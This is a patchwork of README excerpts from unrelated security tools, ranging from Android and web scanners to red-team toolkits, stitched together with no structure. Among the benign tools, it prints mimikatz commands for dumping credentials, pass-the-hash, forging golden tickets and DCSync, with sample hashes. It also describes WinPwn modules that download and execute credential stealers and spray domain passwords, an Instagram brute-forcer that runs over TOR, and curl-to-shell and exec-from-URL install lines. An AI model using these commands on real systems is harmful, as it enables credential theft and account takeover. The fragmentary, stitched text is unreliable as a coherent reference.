• Structural and data flow analysis of the bytecode targeting different malicious behaviours categories
  
  • Telephony identifiers exfiltration: IMEI, IMSI, MCC, MNC, LAC, CID, operator's name...
  • Device settings exfiltration: software version, usage statistics, system settings, logs...
  • Geolocation information leakage: GPS/WiFi geolocation...
  • Connection interfaces information exfiltration: WiFi credentials, Bluetooth MAC adress...
  • Telephony services abuse: premium SMS sending, phone call composition...
  • Audio/video flow interception: call recording, video capture...
  • Remote connection establishment: socket open call, Bluetooth pairing, APN settings edit...
  • PIM data leakage: contacts, calendar, SMS, mails, clipboard...
  • External memory operations: file access on SD card...
  • PIM data modification: add/delete contacts, calendar events...
  • Arbitrary code execution: native code using JNI, UNIX command, privilege escalation...
  • Denial of Service: event notification deactivation, file deletion, process killing, virtual keyboard disable, terminal shutdown/reboot...
• Report generation according to several detail levels
  
  • Essential (-v 1) for newbies
  • Advanced (-v 2)
  • Expert (-v 3)
• Report generation according to several formats
  
  • Plaintext txt
  • Formatted html from a Bootstrap template
  • JSON

usage: androwarn [-h] -i INPUT [-o OUTPUT] [-v {1,2,3}] [-r {txt,html,json}]
                 [-d]
                 [-L {debug,info,warn,error,critical,DEBUG,INFO,WARN,ERROR,CRITICAL}]
                 [-w]

version: 1.4

optional arguments:
  -h, --help            show this help message and exit
  -i INPUT, --input INPUT
                        APK file to analyze
  -o OUTPUT, --output OUTPUT
                        Output report file (default
                        "./<apk_package_name>_<timestamp>.<report_type>")
  -v {1,2,3}, --verbose {1,2,3}
                        Verbosity level (ESSENTIAL 1, ADVANCED 2, EXPERT 3)
                        (default 1)
  -r {txt,html,json}, --report {txt,html,json}
                        Report type (default "html")
  -d, --display-report  Display analysis results to stdout
  -L {debug,info,warn,error,critical,DEBUG,INFO,WARN,ERROR,CRITICAL}, --log-level {debug,info,warn,error,critical,DEBUG,INFO,WARN,ERROR,CRITICAL}
                        Log level (default "ERROR")
  -w, --with-playstore-lookup
                        Enable online lookups on Google Play

$ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3

• Python 2.7 + androguard + jinja2 + play_scraper + argparse
• The easiest way to setup everything: pip install androwarn and then directly use $ androwarn
• Or git clone that repository and pip install -r requirements.txt

• version 1.5 - 2019/01/05: few fixes
• version 1.4 - 2019/01/04: code cleanup and use of the latest androguard version
• version 1.3 - 2018/12/30: few fixes
• version 1.2 - 2018/12/30: few fixes
• version 1.1 - 2018/12/29: fixing few bugs, removing Chilkat dependencies and pip packaging
• version 1.0 - from 2012 to 2013

• Thomas Debize < tdebize at mail d0t com >
• Join #androwarn on Freenode

• Stéphane Coulondre, for supervising my Final Year project
• Anthony Desnos, for his amazing Androguard project and his help through my Final Year project

• (Optional but highly recommended: RVM)
• Ruby >= 2.3 - Recommended: latest
  • Ruby 2.5.0 to 2.5.3 can cause an 'undefined symbol: rmpd_util_str_to_d' error in some systems, see #1283
• Curl >= 7.21 - Recommended: latest
  • The 7.29 has a segfault
• RubyGems - Recommended: latest

gem install wpscan

git clone https://github.com/wpscanteam/wpscan
cd wpscan/
bundle install && rake install

docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u

docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u1-100

• ~/.wpscan/cli_options.json
• ~/.wpscan/cli_options.yml
• pwd/.wpscan/cli_options.json
• pwd/.wpscan/cli_options.yml

proxy: 'http://127.0.0.1:8080'
verbose: true

proxy: 'socks5://127.0.0.1:9090'
url: 'http://target.tld'

wpscan --url https://target.tld/ --enumerate u

wpscan --url https://target.tld/ --enumerate u1-100

• Using WPScan to provide commercial managed/Software-as-a-Service services.
• Distributing WPScan as a commercial product or as part of one.
• Using WPScan as a value added service/product.

• Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit.
• Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux.
• Using WPScan to test your own systems.
• Any non-commercial use of WPScan.

• Unmodified License is provided with WPScan.
• Unmodified Copyright notices are provided with WPScan.
• Does not conflict with the commercialization clause.

git clone https://github.com/joda32/got-responded.git
cd got-responded
python3 -m venv responded-env
source responded-env/bin/activate
pip install -r requirements.txt

python got-responded.py

• Python 3
• colorama
• requests

$ git clone https://github.com/gildasio/h2t
$ cd h2t
$ pip install -r requirements.txt
$ ./h2t.py -h

$ ./h2t.py -h
usage: h2t.py [-h] {list,l,scan,s} ...

h2t - HTTP Hardening Tool

positional arguments:
  {list,l,scan,s}  sub-command help
    list (l)       show a list of available headers in h2t catalog (that can
                   be used in scan subcommand -H option)
    scan (s)       scan url to hardening headers

optional arguments:
  -h, --help       show this help message and exit

$ ./h2t.py list -h
usage: h2t.py list [-h] [-p PRINT [PRINT ...]] [-B]
                   [-a | -H HEADERS [HEADERS ...]]

optional arguments:
  -h, --help            show this help message and exit
  -p PRINT [PRINT ...], --print PRINT [PRINT ...]
                        a list of additional information about the headers to
                        print. For now there are two options: description and
                        refs (you can use either or both)
  -B, --no-banner       don't print the h2t banner
  -a, --all             list all available headers [default]
  -H HEADERS [HEADERS ...], --headers HEADERS [HEADERS ...]
                        a list of headers to look for in the h2t catalog

$ ./h2t.py scan -h
usage: h2t.py scan [-h] [-v] [-a] [-g] [-b] [-H HEADERS [HEADERS ...]]
                   [-p PRINT [PRINT ...]]
                   [-i IGNORE_HEADERS [IGNORE_HEADERS ...]] [-B] [-E] [-n]
                   [-u USER_AGENT] [-r | -s]
                   url

positional arguments:
  url                   url to look for

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         increase output verbosity: -v print response headers,
                        -vv print response and request headers
  -a, --all             scan all cataloged headers [default]
  -g, --good            scan good headers only
  -b, --bad             scan bad headers only
  -H HEADERS [HEADERS ...], --headers HEADERS [HEADERS ...]
                        scan only these headers (see available in list sub-
                        command)
  -p PRINT [PRINT ...], --print PRINT [PRINT ...]
                        a list of additional information about the headers to
                        print. For now there are two options: description and
                        refs (you can use either or both)
  -i IGNORE_HEADERS [IGNORE_HEADERS ...], --ignore-headers IGNORE_HEADERS [IGNORE_HEADERS ...]
                        a list of headers to ignore in the results
  -B, --no-banner       don't print the h2t banner
  -E, --no-explanation  don't print the h2t output explanation
  -o {normal,csv,json}, --output {normal,csv,json}
                        choose which output format to use (available: normal,
                        csv, json)
  -n, --no-redirect     don't follow http redirects
  -u USER_AGENT, --user-agent USER_AGENT
                        set user agent to scan request
  -k, --insecure        don't verify SSL certificate as valid
  -r, --recommendation  output only recommendations [default]
  -s, --status          output actual status (eg: existent headers only)

• [+] Red Headers are bad headers that open a breach on your website or maybe show a lots of information. We recommend fix it.
• [+] Yellow Headers are good headers that is not applied on your website. We recommend apply them.
• [-] Green Headers are good headers that is already used in your website. It's shown when use -s flag.

• Cookie HTTP Only would be good to be applied
• Cookie over SSL/TLS would be good to be applied
• Server header would be good to be removed
• Referrer-Policy would be good to be applied
• X-Frame-Options is already in use, nothing to do here
• X-XSS-Protection is already in use, nothing to do here

• i386
• x86-64

• PE, PE+
• Plain shellcode

• Outputs json of the 1) Disassembly, 2) Functions, and 3) Imports.
• Manages Image and Stack memory.
• 2 modes:
  • Light Emulation - meant to enumerate all paths (Registers, Stack, Some Instructions).
  • Full Emulation - only follows the code’s path (Slow performance).
• Simulated TEB & PEB structures.
• Evaluates functions based on DLL exports.
• Displays strings based on referenced memory locations.
• Uses FLIRT style signatures (Fast Library Identification and Recognition Technology).
• Allows you to use your own exports for simulating the PEB.
• Will detect padding after a non-returning call.
• Will try to identify function references from offsets.

• The engine is interactive.
• Does not dump strings.
• Does not process non-executable sections.
• TEB and PEB are not enabled for non-pe files.
• Only some x86 instructions are emulated, not all.
• Patching and assembling.
• No plugins or scripting.

curl https://sh.rustup.rs -sSf | sh

• run the rustup.exe

• follow the link from the output, or click here
  
• cancel the rustup-init.exe
  
• back in browser, scroll down, expand the tab Tools for Visual Studio 2017& download the Build Tools for Visual Studio 2017

• run the executable

• open a new "Command Prompt" & follow the xori build steps here

git clone https://github.com/endgameinc/xori.git
cd xori
cargo build --release

cp xori.json.example xori.json
[edit if desired]

"function_symbol32": "./src/analysis/symbols/generated_user_syswow64.json",
"function_symbol64": "./src/analysis/symbols/generated_user_system32.json",
"symbol_server": {
 "dll_folder32": "./dlls/32bit",
 "dll_folder64": "./dlls/64bit"

 ./target/release/pesymbols

./target/release/xori -f test.exe

cargo test

• On Ubuntu 18.04 you may need to apt install the following: curl git libssl-dev pkg-config build-essential npm

cd gui
npm install

cd gui
node src/server.js

cd gui
npm start

go get -u github.com/alphasoc/flightsim/...

$ flightsim --help

AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)

flightsim is an application which generates malicious network traffic for security
teams to evaluate security controls (e.g. firewalls) and ensure that monitoring tools
are able to detect malicious traffic.

Usage:
  flightsim [command]

Available Commands:
  help        Help about any command
  run         Run all simulators (default) or a particular test
  version     Print version and exit

Flags:
  -h, --help   help for flightsim

Use "flightsim [command] --help" for more information about a command

$ flightsim run --help
Run all simulators (default) or a particular test

Usage:
  flightsim run [c2-dns|c2-ip|dga|hijack|scan|sink|spambot|tunnel] [flags]

Flags:
  -n,                      number of hosts generated for each simulator (default 10)
      --fast               run simulator fast without sleep intervals
  -h, --help               help for run
  -i, --interface string   network interface to use

$ flightsim run dga

AlphaSOC Network Flight Simulator™ (https://github.com/alphasoc/flightsim)
The IP address of the network interface is 172.31.84.103
The current time is 10-Jan-18 09:30:28

Time      Module   Description
--------------------------------------------------------------------------------
09:30:28  dga      Starting
09:30:28  dga      Generating list of DGA domains
09:30:30  dga      Resolving rdumomx.xyz
09:30:31  dga      Resolving rdumomx.biz
09:30:31  dga      Resolving rdumomx.top
09:30:32  dga      Resolving qtovmrn.xyz
09:30:32  dga      Resolving qtovmrn.biz
09:30:33  dga      Resolving qtovmrn.top
09:30:33  dga      Resolving pbuzkkk.xyz
09:30:34  dga      Resolving pbuzkkk.biz
09:30:34  dga      Resolving pbuzkkk.top
09:30:35  dga      Resolving wfoheoz.xyz
09:30:35  dga      Resolving wfoheoz.biz
09:30:36  dga      Resolving wfoheoz.top
09:30:36  dga      Resolving lhecftf.xyz
09:30:37  dga      Resolving lhecftf.biz
09:30:37  dga      Resolving lhecftf.top
09:30:38  dga      Finished

All done! Check your SIEM for alerts using the timestamps and details above.

outbound 'say'
    ' hi'
sub fuzz ' and fuzz'
    ' this'
sub ' but not this\xde\xad\xbe\xef'
inbound 'this is the server's'
    ' expected response'

• http://blog.talosintelligence.com/2018/01/tutorial-mutiny-fuzzing-framework-and.html

• BASIC - Obtains information from the disk and registry.
• LDAP - Allows customised AD LDAP queries to be made.
• RESOLVEHOST - Performs DNS lookup queries.
• INDEXSEARCH - Searches the Windows Indexing Service for local files and e-mails (filename and content).
• PROXYCHECK - Displays the proxy server that will be used when attempting to access a provided URL.
• PRIVESCCHECK - Identifies privilege escalation vectors.

• All environment variables (API)
• The hostname, workgroup and Windows version number of the host (API)
• Word, Access, Excel, Publisher & Powerpoint Most Recently Used Documents for all versions installed (Registry)
• Word, Access, Excel, Publisher & Powerpoint Trusted Locations for all versions installed (Registry)
• Favourites (Bookmarks) and extracts the URL from the bookmark. Could be interesting to easily find sharepoint/confluence/wiki/self service payroll etc. (Disk)
• Mapped drives, including the drive letter, description and remote location (WMI)
• Installed applications, for all users and for the specific user only (Registry)

• You can't pick and choose what you want - its all or nothing.
• Favourites do not recurse through directories
• Missing a load of stuff.

• Its a little untidy
• It won't display anything that isn't a .NET string (needs more parsing)
• Can't specify specific fields/attributes to show
• You need to work out the DC yourself (you can get that from the LOGONSERVER environment variable) and work out the DN yourself. I'll get round to retrieving that automatically at some point.

1. 
   WinPwn -> Guides the user through all functions/Modules with simple questions.
   
2. 
   Inveigh -> Executes Inveigh in a new Console window (https://github.com/Kevin-Robertson/Inveigh), SMB-Relay attacks with Session management afterwards
   
3. 
   sessionGopher -> Executes Sessiongopher and Asking for parameters (https://github.com/Arvanaghi/SessionGopher)
   
4. 
   Mimikatzlocal -> Executes Invoke-WCMDump and Invoke-Mimikatz (https://github.com/PowerShellMafia/PowerSploit)
   
5. 
   localreconmodules -> Executes Get-Computerdetails and Just another Windows Privilege escalation script + Winspect (https://github.com/PowerShellMafia/PowerSploit, https://github.com/A-mIn3/WINspect, https://github.com/411Hall/JAWS)
   
6. 
   JAWS -> Just another Windows Privilege Escalation script gets executed
   
7. 
   domainreconmodules -> Different Powerview situal awareness functions get executed and the output stored on disk. In Addition a Userlist for DomainpasswordSpray gets stored on disk. An AD-Report is generated in CSV Files (or XLS if excel is installed) with ADRecon. (https://github.com/sense-of-security/ADRecon, https://github.com/PowerShellMafia/PowerSploit, https://github.com/dafthack/DomainPasswordSpray)
   
8. 
   Privescmodules -> Executes different privesc scripts in memory (Sherlock https://github.com/rasta-mouse/Sherlock, PowerUp, GPP-Files, WCMDump)
   
9. 
   lazagnemodule -> Downloads and executes lazagne.exe (if not detected by AV) (https://github.com/AlessandroZ/LaZagne)
   
10. 
    latmov -> Searches for Systems with Admin-Access in the domain for lateral movement. Mass-Mimikatz can be used after for the found systems. Domainpassword-Spray for new Credentials can also be used here.
    
11. 
    empirelauncher -> Launch powershell empire oneliner on remote Systems (https://github.com/EmpireProject/Empire)
    
12. 
    shareenumeration -> Invoke-Filefinder and Invoke-Sharefinder from Powerview (Powersploit)
    
13. 
    groupsearch -> Get-DomainGPOUserLocalGroupMapping - find Systems where you have Admin-access or RDP access to via Group Policy Mapping (Powerview / Powersploit)
    
14. 
    Kerberoasting -> Executes Invoke-Kerberoast in a new window and stores the hashes for later cracking
    
15. 
    isadmin -> Checks for local admin access on the local system
    
16. 
    Sharphound -> Downloads Sharphound and collects Information for the Bloodhound DB
    
17. 
    adidnswildcard -> Create a Active Directory-Integrated DNS Wildcard Record and run Inveigh for mass hash gathering. (https://blog.netspi.com/exploiting-adidns/#wildcard)
    

• Get the scripts from my own creds repository (https://github.com/SecureThisShit/Creds) to be independent from changes in the original repositories.
• Proxy Options via PAC-File are not correctly found in the moment.

• Licensed as GNU General Public License version 2.0 (GPLv2).
• Easy to install, easy to customise, easy to use.
• Works for any system with PHP+PCRE installed, regardless of OS (PHP+PCRE required).
• Fully configurable based on your needs.
• Ideal solution for shared hosting services.
• Ideal solution for forum systems in need of file upload protection.
• Does NOT require shell access.
• Does NOT require administrative privileges.
• CLI mode available.
• Good, strong, stable support base.

• English
• العربية
• Deutsch
• Español
• Français
• Bahasa Indonesia
• Italiano
• 日本語
• 한국어
• Nederlandse
• Português
• Русский
• اردو
• Tiếng Việt
• 中文（简体）
• 中文（傳統）

• Type !list to display the commands provided by the harness.
• Type SHIFT+TAB to perform tab completion on the local machine. This may be useful if you're ssh'd into a remote computer but need to reference a file that's located on your box.

• !os is an extremely simple command that just runs cat /etc/*release* to show what OS the current machine is running. It is probably most valuable as a demonstration that in the context of a hacking harness, you can define aliases that work across machine boundaries. SSH into any computer, type !os and the command will be run. This plugin is located in commands/replacement_commands.py and is a good place to start when you want to learn about writing plugins.
• !download [remote file] [local path] gets a file from the remote machine and copies it locally through the terminal. This command is a little more complex because more stringent error checking is required but it's another plugin you can easily read to get started. You can find it in commands/download_file.py. Note that it requires xxd or od on the remote machine to function properly.
• !upload [local file] [remote path] works exactly the same as the previous command, except that a local file is put on the remote machine.
• !pty spawns a TTY, which is something you don't want in most cases because it tends to leave forensics evidence. However, some commands (sudo) or exploits require a TTY to run in so this is provided as a convenience. UNSET HISTFILE is passed to it as soon as it spawns.
• !py [local script] executes a local Python script on the remote machine, and does so entirely in memory. Check out my other repository for scripts you might want to use. This commands uses a multiline syntax with <<, which means that pseudo-shells that don't support it (Weevely is a good example of that) will break this command quite badly.

• A good processor example can be found in processors/ssh_command_line.py. All it does is add the -T option to any SSH command it sees if it is missing. Be sure to check out its simple code if you are interested in writing a processor.
• Another input processor present in the framework, processors/assert_torify.py, contains a blacklist of networking commands (ssh, nc) and blocks them if they don't seem to be proxied through a tool such as torify. The harness does its best to only bother the user if it seems like the command is being run on the local machine. Obviously this should not be your only safeguard against leaking your home IP address.
• Finally, processors/sample_output_processor.py is a very simple output processor that highlights in red any occurrence of the word "password". As it's quite useless, it's not enabled in the framework but you can still use it as a starting point if you want to do something more sophisticated.

• Example: http & ip.src == 192.168.0.1
  
• Management Frame: The frame for the connection between the network device and the client.
  
• Control Frame: Controls the integrity of data traffic between the network device and the client.
  
• Data Frame: The frame on which the original data is transferred.
  

wlan.fc.type==0

wlan.fc.type==1

wlan.fc.type==2

wlan.fc.type_subtype==0

wlan.fc.type_subtype==1

wlan.fc.type_subtype==4

wlan.fc.type_subtype==5

wlan.fc.type_subtype==8

wlan.fc.type_subtype==11

wlan.fc.type_subtype==12

tcp.port == xx

tcp.srcport == xx

tcp.dstport == xx

udp.port == xx

udp.srcport == xx

udp.dstport == xx

http.request

wlan.addr == MAC-Address

wlan.sa == MAC-Address

wlan.da == MAC-Address

• hooking general user events
• structure and enumeration support
• Hex-Rays decompiler syncing
• replay engine and auto-saving
• database loading and saving
• interactive status bar widget
• user cursors (instructions, functions, navbar)
• invite and following an user moves
• dedicated server using Qt5
• integrated server within IDA
• LAN servers discovery
• following an user moves in real time

• Copy idarling_plugin.py and the idarling folder to the IDA plugins folder.
  • On Windows, the folder is at C:\Program Files\IDA 7.x\plugins
  • On macOS, the folder is at /Applications/IDA\ Pro\ 7.x/idabin/plugins
  • On Linux, the folder may be at ~/ida-7.x/plugins/
• Alternatively, you can use the "easy install" method by copying the following line into the console:

import urllib2; exec(urllib2.urlopen('https://raw.githubusercontent.com/IDArlingTeam/IDArling/master/easy_install.py')).read()

- File --> Open from server
- File --> Save to server

• Previous plugins, namely CollabREate, IDASynergy, YaCo, were studied during the development process;
• The icons are edited and combined versions from the sites freeiconshop.com and www.iconsplace.com.

• Alexandre Adamski <neat@idarling.re>
• Joffrey Guilbon <patate@idarling.re>

• Windows 7 Service Pack 1 or Windows 10
• 60 GB Hard Drive
• 2 GB RAM

1. Create and configure a new Windows Virtual Machine

• Ensure VM is updated completely. You may have to check for updates, reboot, and check again until no more remain
• Take a snapshot of your machine!
• Download and copy install.ps1 on your newly configured machine.
• Open PowerShell as an Administrator
• Enable script execution by running the following command:
  • Set-ExecutionPolicy Unrestricted
• Finally, execute the installer script as follows:
  • .\install.ps1
  • You can also pass your password as an argument: .\install.ps1 -password <password>

cinst github

cup all

• Remote Server Administration Tools (RSAT)
• SQL Server Command Line Utilities
• Sysinternals

• Covenant
• PoshC2
• WMImplant
• WMIOps

• Dep
• Git
• Go
• Java
• Python 2
• Python 3 (default)
• Visual Studio 2017 Build Tools (Windows 10)
• Visual Studio Code

• CheckPlease
• Demiguise
• DotNetToJScript
• Invoke-CradleCrafter
• Invoke-DOSfuscation
• Invoke-Obfuscation
• Invoke-Phant0m
• Not PowerShell (nps)
• PS>Attack
• PSAmsi
• Pafishmacro
• PowerLessShell
• PowerShdll
• StarFighters

• ADAPE-Script
• API Monitor
• CrackMapExec
• CrackMapExecWin
• DAMP
• Exchange-AD-Privesc
• FuzzySec's PowerShell-Suite
• FuzzySec's Sharp-Suite
• Generate-Macro
• GhostPack
  • Rubeus
  • SafetyKatz
  • Seatbelt
  • SharpDPAPI
  • SharpDump
  • SharpRoast
  • SharpUp
  • SharpWMI
• GoFetch
• Impacket
• Invoke-ACLPwn
• Invoke-DCOM
• Invoke-PSImage
• Invoke-PowerThIEf
• Kali Binaries for Windows
• LuckyStrike
• MetaTwin
• Metasploit
• Mr. Unikod3r's RedTeamPowershellScripts
• NetshHelperBeacon
• Nishang
• Orca
• PSReflect
• PowerLurk
• PowerPriv
• PowerSploit
• PowerUpSQL
• PrivExchange
• Ruler
• SharpExchangePriv
• SpoolSample
• UACME
• impacket-examples-windows
• vssown

• ADACLScanner
• ADExplorer
• ADOffline
• ADRecon
• BloodHound
• Get-ReconInfo
• GoWitness
• Nmap
• PowerView
  • Dev branch included
• SharpHound
• SharpView
• SpoolerScanner

• Citrix Receiver
• OpenVPN
• Proxycap
• PuTTY
• Telnet
• VMWare Horizon Client
• VMWare vSphere Client
• VNC-Viewer
• WinSCP
• Windump
• Wireshark

• ASREPRoast
• CredNinja
• DSInternals
• Get-LAPSPasswords
• Hashcat
• Internal-Monologue
• Inveigh
• Invoke-TheHash
• KeeFarce
• KeeThief
• LAPSToolkit
• MailSniper
• Mimikatz
• Mimikittenz
• RiskySPN
• SessionGopher

• DNSpy
• Flare-Floss
• ILSpy
• PEview
• Windbg
• x64dbg

• 7zip
• Adobe Reader
• AutoIT
• Cmder
• CyberChef
• Gimp
• Greenshot
• Hashcheck
• Hexchat
• HxD
• Keepass
• MobaXterm
• Mozilla Thunderbird
• Neo4j Community Edition
• Pidgin
• Process Hacker 2
• SQLite DB Browser
• Screentogif
• Shellcode Launcher
• Sublime Text 3
• TortoiseSVN
• VLC Media Player
• Winrar
• yEd Graph Tool

• Egress-Assess
• Grouper2
• zBang

• Burp Suite
• Fiddler
• Firefox
• OWASP Zap

• FuzzDB
• PayloadsAllTheThings
• SecLists

log
privilege::debug

sekurlsa::logonpasswords
sekurlsa::tickets /export

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd

kerberos::list /export
kerberos::ptt c:\chocolate.kirbi

kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

crypto::capi
crypto::cng

crypto::certificates /export
crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE

crypto::keys /export
crypto::keys /machine /export

vault::cred
vault::list

token::elevate
vault::cred
vault::list
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

lsadump::dcsync /user:domain\krbtgt /domain:lab.local

• for mimikatz and mimilib : Visual Studio 2010, 2012 or 2013 for Desktop (2013 Express for Desktop is free and supports x86 & x64 - http://www.microsoft.com/download/details.aspx?id=44914)
• for mimikatz driver, mimilove (and ddk2003 platform) : Windows Driver Kit 7.1 (WinDDK) - http://www.microsoft.com/download/details.aspx?id=11800

• GIT URL is : https://github.com/gentilkiwi/mimikatz.git
• SVN URL is : https://github.com/gentilkiwi/mimikatz/trunk
• ZIP file is : https://github.com/gentilkiwi/mimikatz/archive/master.zip

• After opening the solution, Build / Build Solution (you can change architecture)
• mimikatz is now built and ready to be used! (Win32 / x64)
  • you can have error MSB3073 about _build_.cmd and mimidrv, it's because the driver cannot be build without Windows Driver Kit 7.1 (WinDDK), but mimikatz and mimilib are OK.

• http://blog.gentilkiwi.com/programmation/executables-runtime-defaut-systeme
• http://blog.gentilkiwi.com/cryptographie/api-systemfunction-windows#winheader

• ETH: 0x3a56af999b5e68f9e6e0a7dce1833efefad5b470
• BTC: 1C6bubazp9xq3BfYiHvsqP1sEhFYykUDo5
• PayPal: https://www.paypal.me/delpy/

• Benjamin DELPY gentilkiwi, you can contact me on Twitter ( @gentilkiwi ) or by mail ( benjamin [at] gentilkiwi.com )
• DCSync function in lsadump module was co-writed with Vincent LE TOUX, you can contact him by mail ( vincent.letoux [at] gmail.com ) or visit his website ( http://www.mysmartlogon.com )

./osmedeus.py -t example.com

git clone https://github.com/j3ssie/Osmedeus
cd Osmedeus
./install.sh

• Subdomain Scan.
• Subdomain TakeOver Scan.
• Screenshot the target.
• Basic recon like Whois, Dig info.
• IP Discovery.
• CORS Scan.
• SSL Scan.
• Headers Scan.
• Port Scan.
• Vulnerable Scan.
• Seperate workspaces to store all scan output and details logging.
• REST API.
• SPA Web UI.
• Slack notifications.

• Linux distribution
• Python 3 or greater

git clone https://github.com/bitbrute/evillimiter.git
cd evillimiter
sudo python3 setup.py install

• Limits IPv4 connctions only, since ARP spoofing requires the ARP packet that is only present on IPv4 networks.

• Multi-thread (100 attempts at once)
• Save/Resume sessions
• Anonymous attack through TOR
• Check valid usernames
• Default password list (best +39k 8 letters)
• Check and Install all dependencies

git clone https://github.com/thelinuxchoice/instainsane
cd instainsane
chmod +x instainsane.sh
sudo ./instainsane.sh

chmod +x install.sh
sudo ./install.sh